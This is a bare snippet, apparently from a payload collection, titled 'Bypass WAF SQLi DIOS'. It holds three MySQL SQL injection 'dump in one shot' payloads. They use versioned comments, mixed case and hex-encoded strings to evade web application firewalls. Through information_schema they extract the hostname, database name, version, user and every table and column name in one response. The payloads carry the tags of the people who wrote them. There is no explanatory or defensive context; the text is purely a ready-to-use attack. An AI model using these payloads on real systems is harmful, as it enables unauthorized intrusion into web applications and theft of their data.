Bypass WAF SQLi DIOS

/*!31337ConCaT*/(0x496e6a656374656420627920316d70333231756d3c62723e486f73746e616d653a20,@@hostname,0x3c62723e44617461626173653a20,database/**X**/(),0x3c62723e56657273696f6e3a20,version/**X**/(),0x3c62723e557365723a20,user/**X**/(),0x3c62723e,(/*!31337sELecT*/(@)/*!31337from*/(/*!31337sELecT*/(@:=0x00),(/*!31337sELecT*/(@)/*!31337from*/(`InFoRMAtiON_sCHeMa`.`ColUMNs`)/*!31337where*/(`TAblE_sCHemA`=DaTaBaSe/**X**/())and(@)in(@:=/*!31337CoNCat*/(@,0x3c62723e20,/*!31337TaBLe_nAMe*/,0x203a3a20,/*!31337column_name*/))))a))

(/*!31337select*//*!31337concat*/(0x496e6a6563746564206279204e64697669633430343c62723e44617461626173653a20,database/**/(),0x3c62723e56657273696f6e3a20,version/**/(),0x3c62723e,@:=0x2d2d2d,(/*!31337select*/count(*)/*!31337from*//*!31337information_schema*/./*!31337columns*//*!31337WhErE*/(/*!31337TaBlE_ScHeMa*/!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!31337concat*/+(@,0x3c62723e,/*!31337table_name*/,0x3a3a,/*!31337column_name*/)),@))

+div+@div:=(/*!31337concat*/(@c:=0x00,if((/*!31337select*/+/*!31337count*/(*)/*!31337from*/+/*!31337information_schema*/./*!31337columns*/+/*!31337where*/+/*!31337table_schema*/=database/*ndivic*/()+and+@c:=/*!31337concat*/(@c,0x3c62723e, /*!31337table_name*/,0x2e,/*!31337column_name*/)),0x00,0x00),@c))+/*!31337UNION*/+ALL+/*!31337SELECT*/+